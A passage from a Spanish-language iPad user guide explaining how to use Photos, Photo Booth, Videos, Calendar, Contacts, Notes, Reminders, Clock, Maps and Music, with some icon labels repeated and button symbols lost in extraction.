Imprimir. Consulte Impresión con AirPrint en la página 34. Marco de fotos Cuando el iPad está bloqueado, puede utilizarlo para ver un pase de diapositivas de todos sus álbumes de fotos o de los álbumes de fotos que seleccione. Iniciar la modalidad de marco de fotos: Pulse el botón de reposo/activación para bloquear el iPad, vuelva a pulsar el botón para encender la pantalla y, a continuación, pulse . • Poner en pausa el pase de diapositivas: Pulse la pantalla. • Detener el pase de diapositivas: Ponga en pausa el pase de diapositivas y, a continuación, pulse . Seleccionar los álbumes visualizados: Vaya a Ajustes > Marco de fotos. Ajustar otras opciones para la modalidad de marco de fotos: Vaya a Ajustes > Marco de fotos. Desactivar la modalidad de marco de fotos: Vaya a Ajustes > General > Bloqueo con código.Capítulo 10 Fotos 65 Cómo importar fotos y vídeos Con el Kit de conexión de cámara del iPad (de venta por separado), puede importar fotos y vídeos directamente de una cámara digital, otro dispositivo iOS con cámara o una tarjeta de memoria SD. Importar fotos: 1 Inserte el lector de tarjetas SD o el conector para cámara (incluido en el Kit de conexión de cámara del iPad) en el conector Dock del iPad. • Para conectar una cámara o un dispositivo iOS: Utilice el cable USB que venía con la cámara o con el dispositivo iOS y conéctelo al puerto USB del conector para cámara. Si va a utilizar un dispositivo iOS, asegúrese de que esté encendido y desbloqueado. Asimismo, para conectar una cámara, asegúrese de que está encendida y en modo de transferencia. Para obtener más información, consulte la documentación que venía con la cámara. • Para utilizar una tarjeta de memoria SD: Inserte la tarjeta en la ranura del lector de tarjetas SD. Cuando inserte la tarjeta en la ranura, no la fuerce. La tarjeta solo puede insertarse en una única posición. Para obtener más información, consulte la documentación del Kit de conexión de cámara del iPad. 2 Desbloquee el iPad. 3 La app Fotos se abre y muestra las fotos y los vídeos que pueden importarse. 4 Seleccione las fotos y los vídeos que desee importar. • Para importar todos los ítems: Pulse “Importar todo”. • Para importar solamente algunos de los ítems: Pulse los ítems que desee importar (aparecerá una marca de selección en cada uno de ellos), pulse Importar y, a continuación, seleccione “Importar selección”. 5 Tras la importación, conserve o elimine las fotos y los vídeos en la tarjeta, en la cámara o en el dispositivo iOS. 6 Desconecte el lector de tarjetas SD o el conector para la cámara. Para ver las fotos, vaya al álbum “Última importación”. Un evento nuevo contiene todas las fotos que se seleccionaron para la importación. Para transferir las fotos al ordenador, conecte el iPad al ordenador e importe las imágenes con una aplicación de fotografía como iPhoto o Adobe Elements.11 66 Hacer fotos Si tiene un iPad 2 o posterior, es muy fácil hacerse una foto con Photo Booth y darle un toque único aplicando efectos. Al hacer una foto, el iPad emite un sonido de obturador. Puede usar los botones de volumen situados en el lateral del iPad para controlar el volumen de sonido de obturador. Este sonido no se reproducirá si el interruptor lateral está en la posición Silencio. Consulte Botones en la página 9. Nota: En algunas regiones, los efectos de sonido suenan aunque el interruptor lateral esté en la posición Silencio. Hacer una foto: Dirija el iPad y pulse . Seleccionar un efecto: Pulse y, a continuación, pulse el efecto que desee. • Modificar un efecto de distorsión: Arrastre el dedo por la pantalla. • Alterar una distorsión: Pellizque, desplace o gire la imagen. Ver la foto que se acaba de hacer: Pulse la miniatura de la última foto. Para volver a mostrar los controles, pulse la pantalla. Alternar las cámaras frontal y trasera: Pulse en la parte inferior de la pantalla. Photo BoothCapítulo 11 Photo Booth 67 Gestionar fotos Las fotos realizadas con Photo Booth se guardan en el álbum Carrete de la app Fotos del iPad. Eliminar una foto: Seleccione una miniatura y, a continuación, pulse . Eliminar varias fotos: Pulse , pulse una miniatura o varias y, después, pulse Eliminar. Copiar o enviar fotos por correo: Pulse , pulse una miniatura o varias y, después, pulse “Enviar por correo” o Copiar. Ver las fotos del álbum Carrete: En Fotos, pulse un álbum y, a continuación, pulse una miniatura. Para ver la foto anterior o siguiente, desplácese hacia la izquierda o hacia la derecha. Consulte Cómo visualizar fotos y vídeos en la página 61. Cargar fotos en el ordenador: Conecte el iPad al ordenador utilizando el cable de Lightning a USB. • Mac: Seleccione las fotos que desee y haga clic en el botón Importar o Descargar de iPhoto o de cualquier aplicación de fotografía compatible que tenga instalada en el ordenador. • PC: Siga las instrucciones incluidas con su aplicación fotográfica. Si elimina las fotos del iPad al cargarlas en el ordenador, se eliminarán del álbum Carrete. Puede utilizar el panel de ajustes Fotos de iTunes para sincronizar las fotos con la app Fotos del iPad.12 68 Utilice la app Vídeos para ver películas, programas de TV y vídeos musicales. Para ver podcasts de vídeo, instale la app gratuita Podcasts desde la tienda App Store. Consulte Capítulo 24, Podcasts, en la página 99. Para ver vídeos grabados con la cámara del iPad, abra la app Fotos. Obtener vídeos: • Comprar o alquilar vídeos en la tienda iTunes store (no disponible en todas las regiones): Abra la app iTunes en el iPad y pulse Vídeos. Consulte Capítulo 20, La tienda iTunes Store, en la página 89. • Transferir vídeos desde el ordenador: Conecte el iPad y sincronice los vídeos de iTunes en su ordenador. Consulte Sincronización con iTunes en la página 18. • Transmitir vídeos en tiempo real desde su ordenador: En su ordenador, active “Compartir en casa” en iTunes. A continuación, en el iPad, vaya a Ajustes > Vídeos e introduzca el ID de Apple y la contraseña que utilizó para configurar “Compartir en casa” en su ordenador. A continuación, abra Vídeos en el iPad y pulse Compartido al principio de la lista de vídeos. Arrastre para avanzar o retroceder. Arrastre para avanzar o retroceder. Pulse el vídeo para mostrar u ocultar los controles. Pulse el vídeo para mostrar u ocultar los controles. Ver el vídeo en un televisor con Apple TV. Ver el vídeo en un televisor con Apple TV. Arrastre para ajustar el volumen. Arrastre para ajustar el volumen. ADVERTENCIA: Para obtener información importante sobre la prevención de la pérdida de audición, consulte Información importante sobre seguridad en la página 133. VídeosCapítulo 12 Vídeos 69 Visualizar un vídeo: Pulse Películas o “Programas de TV” y, a continuación, pulse el vídeo que desea ver. • Escalar un vídeo a pantalla completa o ajustarlo a la pantalla: Pulse o . O bien pulse dos veces la pantalla para ajustar la escala sin mostrar los controles. • Comenzar desde el principio: Si el vídeo contiene capítulos, arrastre el cursor de reproducción a lo largo de la barra hasta la izquierda. Si no hay capítulos, pulse . • Ir al capítulo anterior o siguiente (si está disponible): Pulse o . También puede pulsar dos veces el botón central o equivalente en unos auriculares compatibles (saltar a siguiente) o tres veces (saltar a anterior). • Retroceder o avanzar rápidamente: Mantenga pulsado o . • Seleccionar otro idioma para el audio (si está disponible): Pulse y después seleccione un idioma en la lista Audio. • Mostrar u ocultar los subtítulos (si están disponibles): Pulse y después seleccione un idioma, o pulse No en la lista Subtítulos. • Mostrar u ocultar los subtítulos para sordos (si están disponibles): Vaya a Ajustes > Vídeos. • Ver el vídeo en un televisor: Consulte Conexión del iPad a un televisor u otro dispositivo en la página 33. Eliminar un vídeo: En la Biblioteca, mantenga pulsado un vídeo hasta que aparezca el botón de eliminación y, luego, pulse . Si desea eliminar varios vídeos, pulse Editar. Importante: Si elimina una película alquilada del iPad, se borrará permanentemente y no será posible transferirla de nuevo al ordenador. Cuando elimina un vídeo (que no sea una película alquilada) del iPad, no lo elimina de la biblioteca de iTunes de su ordenador, así que puede volver a sincronizarlo con el iPad cuando lo desee. Si no quiere volver a sincronizar el vídeo con el iPad, ajuste iTunes para que no lo haga. Consulte Sincronización con iTunes en la página 18.13 70 Visión general Con el iPad es muy fácil cumplir la agenda. Puede ver los calendarios de forma independiente o bien varios calendarios a la vez. Cambiar de visualización. Cambiar de visualización. Arrastre un evento para reprogramarlo. Arrastre un evento para reprogramarlo. Seleccionar una vista. Seleccionar una vista. Vea las invitaciones. Vea las invitaciones. Vaya a otra fecha. Vaya a otra fecha. Ver o editar un evento: Pulse el evento. Puede: • ajustar una alerta primaria y secundaria; • cambiar la fecha, hora o duración del evento; • trasladar un evento a otro calendario; • invitar a otros usuarios a asistir a eventos de calendarios de iCloud, Microsoft Exchange y CalDAV; • eliminar el evento. También puede mover un evento manteniéndolo pulsado y arrastrándolo a una nueva hora o ajustando los puntos de selección. CalendarioCapítulo 13 Calendario 71 Añadir un evento: Pulse , introduzca la información del evento y, a continuación, pulse OK. • Establecer el calendario por omisión de los eventos nuevos: Vaya a Ajustes > Correo, contactos, calendarios > “Calendario por omisión”. • Establecer alertas por omisión para cumpleaños y eventos: Vaya a Ajustes > Correo, contactos, calendarios > Alertas por omisión. Buscar eventos: Pulse Lista y, a continuación, introduzca texto en el campo de búsqueda. Se busca en los títulos, los invitados, las ubicaciones y las notas de los calendarios que esté viendo. También puede buscar eventos de Calendario desde la pantalla de inicio. Consulte Cómo buscar en la página 30. Ajustar el tono de alerta para calendarios: Vaya a Ajustes > Sonidos > Alertas calendario. Importar eventos desde un archivo de calendario: Si recibe un archivo de calendario .ics en Mail, abra el mensaje y pulse el archivo de calendario para importar todos los eventos que contenga. También puede importar un archivo .ics publicado en Internet pulsando un enlace al archivo. Algunos archivos .ics le suscribirán a otro calendario en lugar de añadir eventos al suyo. Consulte Cómo trabajar con varios calendarios en la página 71. Si posee una cuenta iCloud, una cuenta de Microsoft Exchange o una cuenta CalDAV compatible, podrá recibir invitaciones a reuniones de otras personas de su empresa y responder a ellas. Invitar a otras personas a un evento: Pulse un evento, pulse Editar y, a continuación, pulse Invitados para seleccionar a quien desee de Contactos. Responder a una invitación: Pulse una invitación del calendario. O pulse para que se muestre la pantalla del evento y, a continuación, pulse una invitación. Podrá ver información sobre el organizador y otros invitados. Si añade comentarios, algo que podría no estar disponible en todos los tipos de calendarios, el organizador podrá ver sus comentarios pero otros asistentes no. Aceptar un evento sin reservar la hora: Pulse el evento y, a continuación, pulse Disponibilidad y seleccione “libre”. El evento seguirá estando en su calendario pero no aparecerá como ocupado ante las demás personas que le envíen invitaciones. Cómo trabajar con varios calendarios Puede ver los calendarios uno por uno o bien varios calendarios a la vez. Puede suscribirse a calendarios de iCloud, Google, Yahoo! o iCalendar, así como a sus eventos y cumpleaños de Facebook. Activar calendarios de iCloud, Google, Exchange o Yahoo!: Vaya a Ajustes > “Correo, contactos, calendarios”, pulse una cuenta y, a continuación, active Calendario. Añadir una cuenta CalDAV: Vaya a Ajustes > “Correo, contactos, calendarios”, pulse “Añadir cuenta” y, a continuación, pulse Otras. En Calendarios, pulse “Añadir cuenta CalDAV”. Ver eventos de Facebook: Vaya a Ajustes > Facebook y, a continuación, inicie sesión con su cuenta Facebook y active el acceso a Calendario. Seleccionar los calendarios que se mostrarán: Pulse Calendarios y, a continuación, pulse para seleccionar los calendarios que desea ver. Aparecerán los eventos de todos los calendarios seleccionados en una sola vista.Capítulo 13 Calendario 72 Ver el calendario de cumpleaños: Pulse Calendarios y, a continuación, pulse Cumpleaños para incluir cumpleaños de sus Contactos con sus eventos. Si ha configurado una cuenta Facebook, también puede incluir el cumpleaños de sus amigos de Facebook. Puede suscribirse a calendarios que utilicen el formato iCalendar (.ics). Muchos servicios basados en calendarios aceptan la suscripción a calendarios, como iCloud, Yahoo!, Google y la aplicación Calendario de OS X. Los calendarios a los que esté suscrito serán de solo lectura. Puede leer los eventos de los calendarios a los que se ha suscrito en el iPad, pero no puede editarlos ni crear nuevos eventos. Suscribirse a un calendario: Vaya a Ajustes > “Correo, contactos, calendarios” y pulse “Añadir cuenta”. Pulse Otras y, a continuación, pulse “Añadir calendario suscrito”. Introduzca el servidor y el nombre del archivo .ics al que desea suscribirse. También puede suscribirse a un calendario de iCalendar (.ics) publicado en Internet pulsando un enlace a dicho calendario. Compartir calendarios de iCloud Puede compartir un calendario de iCloud con otros usuarios de iCloud. Cuando comparte un calendario, otros pueden verlo. Además, puede permitirles añadir o cambiar eventos. También puede compartir una versión de solo lectura para que cualquiera pueda verla. Crear un calendario de iCloud: Pulse Calendarios, pulse Editar y, a continuación, pulse “Añadir calendario”. Compartir un calendario de iCloud: Pulse Calendarios, pulse Editar y, a continuación, pulse el calendario de iCloud que quiere compartir. Pulse “Añadir persona” y, a continuación, seleccione alguno de sus Contactos. La persona recibirá una invitación de correo electrónico para unirse al calendario, aunque necesitará un ID de Apple y una cuenta iCloud para aceptar la invitación. Desactivar las notificaciones de calendarios compartidos: Vaya a Ajustes > “Correo, contactos, calendarios” y, después, desactive “Alertas para compartir”. Cambiar el acceso de una persona a un calendario compartido: Pulse Calendarios, pulse Editar y, a continuación, pulse una persona con la que compartir. Puede desactivar su capacidad para editar el calendario, reenviar la invitación para unirse al calendario o dejar de compartir con esa persona. Compartir un calendario de solo lectura con cualquiera: Pulse Calendarios, pulse Editar y, a continuación, pulse el calendario de iCloud que quiere compartir. Active “Calendario público” y, a continuación, pulse “Compartir enlace” para copiar o enviar la URL del calendario. Cualquiera puede utilizar la URL para suscribirse a su calendario mediante una app compatible, como Calendario para iOS u OS X. Ajustes de Calendario Hay varios ajustes en Ajustes > “Correo, contactos, calendarios” que afectan a Calendario y a sus cuentas de calendario, entre ellos los siguientes: • sincronización de eventos pasados (los eventos futuros se sincronizan siempre); • reproducción del tono de alerta para nuevas invitaciones a reuniones; • compatibilidad con varias zonas horarias del calendario para mostrar las fechas y las horas utilizando una zona horaria diferente.14 73 Visión general El iPad le permite acceder y editar con facilidad sus listas de contactos de cuentas personales, de empresa y de organización. Visualizar en Mapas. Visualizar en Mapas. Añadir o cambiar información. Añadir o cambiar información. Buscar contactos. Buscar contactos. Configurar su tarjeta “Mis datos”: Vaya a Ajustes > “Correo, Contactos, Calendarios”, pulse “Mis datos” y seleccione la tarjeta de contacto con su nombre e información. Siri y otras apps utilizan la tarjeta “Mis datos”. Utilice los campos de personas relacionadas para definir relaciones que desee que Siri conozca, de modo que pueda decir cosas como “busca a mi hermana”. Buscar contactos: Pulse el campo de búsqueda de la parte superior de la lista de contactos e introduzca su búsqueda. También puede buscar en sus contactos desde la pantalla de inicio. Consulte Cómo buscar en la página 30. Compartir un contacto: Pulse un contacto y, a continuación, pulse “Compartir contacto”. Puede enviar los datos del contacto por correo electrónico o por mensaje. Añadir un contacto: Pulse . No puede añadir contactos a un directorio en el que solo tenga permisos de lectura, como por ejemplo, una lista global de direcciones de Microsoft Exchange. Añadir un contacto a su lista Favoritos: Seleccione un contacto, desplácese hacia abajo y pulse el botón “Añadir a favoritos”. El modo “No molestar” utiliza la lista de Favoritos. Consulte “No molestar” y notificaciones en la página 120. Puede ver y editar su lista Favoritos en la app FaceTime. Eliminar un contacto: Seleccione un contacto y pulse Editar. Desplácese hacia abajo y pulse “Eliminar contacto”. ContactosCapítulo 14 Contactos 74 Editar un contacto: Seleccione un contacto y pulse Editar. Puede: • Añadir un nuevo campo: Pulse y, a continuación, seleccione o introduzca una etiqueta para el campo. • Cambiar la etiqueta de un campo: Pulse la etiqueta y seleccione una distinta. Para añadir un nuevo campo, pulse “Etiqueta personalizada”. • Cambiar el tono de llamada o el tono de mensaje de texto del contacto: Pulse el campo de tono de llamada o tono de SMS y seleccione un nuevo sonido. Para cambiar el tono por omisión de los contactos, vaya a Ajustes > Sonidos. • Asignar una foto al contacto: Pulse “Añadir foto”. Puede hacer una foto con la cámara o usar una foto existente. • Actualizar la información de contacto mediante Twitter: Vaya a Ajustes > Twitter > Actualizar contactos. Se comprueban las direcciones de correo electrónico de sus contactos. En el caso de amigos que siga, se actualizará su tarjeta de contacto con el nombre de usuario y la foto de Twitter. • Actualizar la información de contacto mediante Facebook: Vaya a Ajustes > Facebook > Actualizar contactos. Se comprueban las direcciones de correo electrónico de sus contactos. Por cada coincidencia en su lista de amigos, la tarjeta de contacto se actualiza con el nombre de usuario de Facebook y su foto. • Introducir una pausa en un número de teléfono: Pulse y, a continuación, pulse Pausa o Esperar. Cada pausa dura dos segundos. Cada espera detiene la marcación hasta que se vuelve a pulsar Marcar. Utilícelos para automatizar la marcación de una extensión o código, por ejemplo, cuando utilice Contactos en el iPad. Cómo añadir contactos Puede añadir contactos de las siguientes maneras: • Utilizar sus contactos de iCloud: Vaya a Ajustes > iCloud y, a continuación, active Contactos. • Importar sus amigos de Facebook: Vaya a Ajustes > Facebook y, a continuación, active Contactos en la lista “Permitir a estas apps usar sus cuentas”. Se creará un grupo Facebook en Contactos. • Acceder a una lista global de direcciones de Microsoft Exchange: Vaya a Ajustes > “Correo, Contactos, Calendarios” y, a continuación, pulse su cuenta Exchange y, a continuación, active Contactos. • Configurar una cuenta LDAP o CardDAV para acceder a directorios de empresas o instituciones académicas: Vaya a Ajustes > Correo, contactos, calendarios > Añadir cuenta > Otras. A continuación, pulse “Añadir cuenta LDAP” o “Añadir cuenta CardDAV” e introduzca la información de la cuenta. • Sincronizar los contactos del ordenador, Yahoo! o Google: En iTunes, en su ordenador, active la sincronización de los contactos en el panel Información del dispositivo. Para obtener información, consulte la Ayuda iTunes. • Importar contactos de una tarjeta vCard: Pulse un archivo adjunto .vcf de un correo electrónico, un mensaje o una página web. Buscar en un servidor GAL, CardDAV o LDAP: Pulse Grupos, pulse el directorio en el que desee buscar y, a continuación, introduzca su búsqueda. Guardar la información de contacto de un servidor GAL, LDAP o CardDAV: Busque el contacto que desee añadir y, a continuación, pulse “Añadir contacto”.Capítulo 14 Contactos 75 Mostrar u ocultar un grupo: Pulse Grupos y, a continuación, seleccione los grupos que desea ver. Este botón solo aparece si tiene más de una fuente de contactos. Si tiene contactos de varias fuentes, es posible que haya varias entradas para la misma persona. Para evitar que aparezcan contactos repetidos en la lista “Todos los contactos”, los contactos de distintas fuentes que tienen el mismo nombre se combinan y se visualizan como un solo contacto unificado. Al visualizar un contacto unificado, en la parte superior de la pantalla aparece el título “Info unificada”. Vincular un contacto: Edite un contacto, pulse Editar y, a continuación, pulse y seleccione un contacto. Los contactos vinculados no se fusionan. Si modifica o añade información en un contacto unificado, los cambios se copiarán en cada cuenta de origen en la que dicha información ya exista. Si enlaza contactos con distintos nombres o apellidos, los nombres de las tarjetas individuales no cambiarán, pero solo se mostrará un nombre en la tarjeta unificada. Para seleccionar el nombre que debe aparecer cuando visualice la tarjeta unificada, pulse la tarjeta vinculada con el nombre que prefiera y, a continuación, pulse “Usar este nombre para la tarjeta unif.”. Ver la información de contactos de una cuenta de origen: Pulse una de las cuentas de origen. Desenlazar un contacto: Pulse Editar, pulse y, a continuación, pulse Desenlazar. Ajustes de Contactos Para cambiar los ajustes de Contactos, vaya a Ajustes > Correo, contactos, calendarios. Las opciones disponibles le permiten: • cambiar el criterio de ordenación de los contactos; • mostrar los contactos por el nombre o el apellido; • establecer una cuenta por omisión para los nuevos contactos; • configurar su tarjeta “Mis datos”.15 76 Visión general Enviar la nota por correo electrónico o imprimirla. Enviar la nota por correo electrónico o imprimirla. Eliminar la nota. Eliminar la nota. Pulse una nota para visualizarla. Pulse una nota para visualizarla. Añadir una nota. Añadir una nota. Vea la nota anterior o siguiente. Vea la nota anterior o siguiente. Pulse la nota para editarla. Pulse la nota para editarla. Usar iCloud para mantener sus notas actualizadas en sus dispositivos iOS y ordenadores Mac: • Si utiliza una dirección de correo electrónico de me.com o mac.com para iCloud: Vaya a Ajustes > iCloud y active Notas. • Si utiliza una cuenta de Gmail u otra cuenta IMAP para iCloud: Vaya a Ajustes > “Correo, contactos, calendarios” y, después, active la opción Notas de la cuenta correspondiente. Seleccionar la cuenta por omisión de las notas nuevas: Vaya a Ajustes > Notas. Crear una nota en una cuenta específica: Pulse Cuentas y seleccione la cuenta. Después, pulse para crear la nota. Si no ve el botón Cuentas, pulse primero el botón Notas. Ver solo las notas de una determinada cuenta: Pulse Cuentas y seleccione la cuenta. Si no ve el botón Cuentas, pulse primero Notas. Eliminar una nota mientras se visualiza la lista de notas: Desplácese a la izquierda o a la derecha por la nota dentro de la lista. Buscar notas: Mientras visualiza la lista de notas, desplácese a la parte superior de la lista para ver el campo de búsqueda. Pulse en él y escriba lo que busca. También puede buscar notas desde la pantalla de inicio. Consulte Cómo buscar en la página 30. Imprimir o enviar una nota por correo electrónico: Mientras lee la nota, pulse . Para enviar la nota por correo electrónico, el iPad debe tener configurada una cuenta de correo electrónico. Consulte Configuración del correo y otras cuentas en la página 15. Cambiar el tipo de letra: Vaya a Ajustes > Notas. Notas16 77 Recordatorios le permite controlar las cosas que debe hacer. Marque ítems como completados. Marque ítems como completados. Consulte los ítems con una fecha límite concreta. Consulte los ítems con una fecha límite concreta. Pase de una lista a otra. Pase de una lista a otra. Añada un ítem. Añada un ítem. Ver los detalles de los recordatorios: Pulse un recordatorio. Puede: • cambiarlo o eliminarlo • configurar una fecha límite • establecer una prioridad • añadir notas • trasladarlo a otra lista En algunos modelos de iPad Wi-Fi + cellular, Recordatorios puede avisarle cuando llegue a un lugar o cuando se marche de él. Añadir una alerta de localización: Al introducir un recordatorio, pulse y, a continuación, active “Avisarme en un lugar”. Para utilizar otra ubicación, pulse su ubicación actual. Los lugares de esta lista incluyen las direcciones de su tarjeta de información personal de Contactos, como por ejemplo, las direcciones de casa y del trabajo que haya añadido. Para utilizar otra dirección, pulse “Introducir dirección”. Nota: Los recordatorios basados en la ubicación solo pueden utilizarse en los nuevos modelos de iPad Wi-Fi + cellular. No podrá ajustar ubicaciones para los recordatorios de cuentas Microsoft Exchange y Outlook. RecordatoriosCapítulo 16 Recordatorios 78 Buscar en sus recordatorios: Escriba una palabra o una frase en el campo de búsqueda. Los recordatorios se buscan por nombre. También puede utilizar Siri para buscar o añadir recordatorios. Desactivar las notificaciones de los recordatorios: Vaya a Ajustes > Notificaciones. Para obtener información, consulte “No molestar” y notificaciones en la página 120. Ajustar el tono de las notificaciones: Vaya a Ajustes > Sonidos. Mantener los recordatorios actualizados en otros dispositivos: Vaya a Ajustes > iCloud y, a continuación, active Recordatorios. Para actualizar los Recordatorios en OS X Mountain Lion, active iCloud también en su Mac. Otros tipos de cuentas, como Exchange, también admiten Recordatorios. Vaya a Ajustes > “Correo, contactos, calendarios” y, a continuación, active la opción Recordatorios en las cuentas que desee utilizar. Establecer una lista por omisión para los nuevos recordatorios: Vaya a Ajustes > “Correo, contactos, calendarios” y, a continuación, bajo Recordatorios, pulse “Lista por omisión”.17 79 Puede añadir relojes para ver la hora de otras grandes ciudades y zonas horarias de todo el mundo. Añada un reloj. Añada un reloj. Vea relojes, ajuste una alarma, cronometre un evento o ajuste un temporizador. Vea relojes, ajuste una alarma, cronometre un evento o ajuste un temporizador. Elimine relojes o cambie su orden. Elimine relojes o cambie su orden. Añadir un reloj: Pulse Añadir y, a continuación, escriba el nombre de una ciudad o seleccione una de la lista. Si no encuentra la ciudad que busca, pruebe con una ciudad mayor que esté en la misma zona horaria. Mostrar un reloj a pantalla completa: Pulse un reloj y se mostrará a pantalla completa. Pulse Reloj mundial para ver todos sus relojes. Organizar los relojes: Pulse Editar y arrastre para moverlos o pulse para eliminarlos. Ajustar una alarma: Pulse Alarma y, a continuación, pulse . Cambiar una alarma: Pulse Editar y pulse para cambiar los ajustes o pulse para eliminarla. Ajustar un temporizador de reposo: Pulse Temporizador, seleccione una hora, pulse Sonidos, seleccione “Detener reproducción”, pulse Guardar y, después, pulse Iniciar. Reloj18 80 Cómo buscar ubicaciones ADVERTENCIA: Para obtener información importante sobre la navegación segura y el modo de evitar distracciones al conducir, consulte Información importante sobre seguridad en la página 133. Obtenga más información. Obtenga más información. Pulse un marcador para mostrar la tira de información. Pulse un marcador para mostrar la tira de información. Imprima, muestre la situación del tráfico, vea la lista de resultados o seleccione la visualización. Imprima, muestre la situación del tráfico, vea la lista de resultados o seleccione la visualización. Obtenga indicaciones. Obtenga indicaciones. Introduzca una búsqueda. Introduzca una búsqueda. Mostrar su ubicación actual. Mostrar su ubicación actual. Indicaciones de conducción rápidas Indicaciones de conducción rápidas Pulse dos veces para acercar la imagen; pulse con dos dedos para alejar la imagen. O bien junte y separe los dedos sobre la pantalla. Pulse dos veces para acercar la imagen; pulse con dos dedos para alejar la imagen. O bien junte y separe los dedos sobre la pantalla. Ubicación actual Ubicación actual Flyover (3D en la visualización estándar) Flyover (3D en la visualización estándar) Importante: La app Mapas, las indicaciones, 3D, Flyover y las apps basadas en información de localización geográfica dependen de servicios de datos. Estos servicios de datos están sujetos a cambios y pueden no estar disponibles en todas las zonas, lo que puede dar como resultado mapas, indicaciones, 3D, Flyover o datos de localización no disponibles, imprecisos o incompletos. Compare la información proporcionada por el iPad con sus alrededores, y emplee las señales a la vista para resolver cualquier discrepancia. Para poder utilizar algunas funciones de Mapas, es necesario tener activada la función de Localización. Consulte Privacidad en la página 127. MapasCapítulo 18 Mapas 81 Buscar una ubicación: Pulse el campo de búsqueda y, a continuación, teclee una dirección o bien otra información, como por ejemplo: • Intersección (“octava y mercado”) • Área (“greenwich village”) • Punto de referencia (“guggenheim”) • Código postal • Negocio (“cines”, “restaurantes madrid”, “apple españa”) O pulse una de las sugerencias de la lista bajo el campo de búsqueda. Navegar por mapas: • Moverse hacia arriba, hacia abajo, hacia la izquierda o hacia la derecha: Arrastre la pantalla. • Girar el mapa: Gire con dos dedos en la pantalla. Aparecerá una brújula en la esquina superior derecha para mostrar la orientación del mapa. • Volver a la orientación norte: Pulse . Buscar la ubicación de un contacto o de una búsqueda reciente o marcada como favorita: Pulse . Obtener y compartir información sobre una ubicación: Pulse el marcador para mostrar la tira de información y, a continuación, pulse . Cuando está disponible, puede obtener reseñas y fotos de Yelp. También podrá obtener indicaciones, ponerse en contacto con la empresa, visitar la página web, añadir la empresa a sus contactos, compartir la ubicación o bien agregarla a los favoritos. • Leer reseñas: Pulse Reseñas: Para utilizar otras funciones de Yelp, pulse los botones bajo las reseñas. • Ver fotos: Pulse Fotos. • Enviar una ubicación mediante correo electrónico, mensaje de texto, tuit o publicación en Facebook: Pulse “Compartir ubicación”. Para tuitear o publicar en Facebook, debe haber iniciado sesión en sus cuentas. Consulte Compartir en la página 32. Usar un marcador para señalar una posición: Mantenga pulsado el mapa hasta que aparezca el marcador. Seleccione la vista estándar, híbrida o de satélite. Pulse en la esquina inferior derecha. Informar de un problema: Pulse en la esquina inferior derecha. Obtención de indicaciones Obtener indicaciones de conducción: Pulse , pulse , introduzca las ubicaciones inicial y final y, a continuación, pulse Ruta. O bien seleccione un ubicación o ruta de la lista, de estar disponibles. Si aparecen varias rutas, pulse la que desee utilizar. • Escuchar indicaciones paso a paso (iPad Wi-Fi + cellular): Pulse Inicio. La app Mapas sigue su progresión y le ofrece indicaciones paso a paso hasta llegar a su destino. Para mostrar u ocultar los controles, pulse la pantalla. Si el iPad se bloquea automáticamente, la app Mapas se mantiene en pantalla y sigue dándole instrucciones. También puede abrir otra app y seguir obteniendo las indicaciones paso a paso. Para regresar a Mapas, pulse la tira de la parte superior de la pantalla. • Escuchar indicaciones paso a paso (iPad solo Wi-Fi): Pulse Inicio y, a continuación, desplácese a la izquierda para ver la siguiente indicación.Capítulo 18 Mapas 82 • Volver a la visión general de la ruta: Pulse “Visión general”. • Ver las indicaciones en forma de lista: Pulse en la pantalla Visión general. • Detener indicaciones paso a paso: Pulse Final. Obtener indicaciones de conducción rápidas desde la ubicación actual: Pulse en la tira de su destino y, a continuación, pulse “Obtener indicaciones hasta aquí”. Obtener indicaciones a pie: Pulse , pulse , introduzca las ubicaciones inicial y final y, a continuación, pulse Iniciar. O bien seleccione un ubicación o ruta de la lista, de estar disponibles. Pulse Inicio y, a continuación, desplácese a la izquierda para ver la siguiente indicación. Obtener direcciones de transporte público: Pulse , introduzca las ubicaciones inicial y final, pulse y, a continuación, pulse Iniciar. O bien seleccione un ubicación o ruta de la lista, de estar disponibles. Descargue y abra las apps de ruta de los servicios de transporte que desee utilizar. Mostrar la situación del tráfico: Pulse en la esquina inferior derecha de la pantalla y, a continuación, pulse “Mostrar tráfico”. Los puntos naranjas indican tráfico lento, mientras que los puntos rojos señalan atascos. Para ver un informe de incidentes, pulse un marcador. 3D y Flyover En el iPad de tercera generación o posterior, use 3D (vista estándar) o Flyover (vista híbrida o por satélite) para ver vistas tridimensionales de muchas ciudades del mundo. Puede navegar del modo habitual y acercar o alejar la vista para ver edificios. También puede ajustar el ángulo de cámara. Transamerica Pyramid Building es una marca de servicio registrada de Transamerica Corporation. Transamerica Pyramid Building es una marca de servicio registrada de Transamerica Corporation. Usar 3D o Flyover: Acerque la imagen hasta que o se activen y, a continuación, pulse el botón. O bien arrastre hacia arriba con dos dedos. Puede cambiar entre 3D y Flyover pulsando en la esquina inferior derecha de la pantalla y cambiando de vista. Ajustar el ángulo de cámara: Arrastre hacia arriba o hacia abajo con dos dedos. Ajustes de Mapas Ajustar opciones para Mapas: Vaya a Ajustes > Mapas. Entre los ajustes se incluyen: • Volumen de voz de la navegación (iPad Wi-Fi + cellular) • Distancias en millas o kilómetros • Idioma y tamaño de las etiquetas19 83 Obtención de música Obtenga música y otros contenidos de audio en el iPad: • Comprar y descargar música de la tienda iTunes Store: En Música, pulse Store. Consulte Capítulo 20, La tienda iTunes Store, en la página 89. • Descargar automáticamente música comprada en otros dispositivos iOS y ordenadores: Consulte Cómo usar iCloud en la página 16. • Sincronizar contenidos con la aplicación iTunes de su ordenador: Consulte Sincronización con iTunes en la página 18. • Utilizar iTunes Match para guardar su biblioteca musical en iCloud: Consulte iTunes Match en la página 87. Reproducción de música ADVERTENCIA: Para obtener información importante sobre la prevención de la pérdida de audición, consulte Información importante sobre seguridad en la página 133. Puede escuchar audio a través del altavoz integrado, unos auriculares conectados a la toma de auriculares o unos auriculares estéreo Bluetooth inalámbricos enlazados al iPad. Cuando se conecten o enlacen unos auriculares, no saldrá ningún sonido por el altavoz. Reproducir una pista: Busque la pista por lista de reproducción, canción, artista u otra categoría y púlsela. Los controles de reproducción aparecen en la parte superior de la pantalla. • Ver más botones de navegación: Pulse Más. • Ir a cualquier punto de una canción: Arrastre el cursor de reproducción a lo largo de la barra de desplazamiento. Deslice el dedo hacia abajo para ralentizar la velocidad de desplazamiento. Ver la pantalla “Ahora suena”: Pulse la miniatura de la portada del álbum en la parte superior de la pantalla. • Mostrar los controles: Pulse la pantalla. • Explorar las canciones utilizando la ilustración de la portada: Desplácese hacia la izquierda o hacia la derecha. Las canciones comenzarán a reproducirse automáticamente. 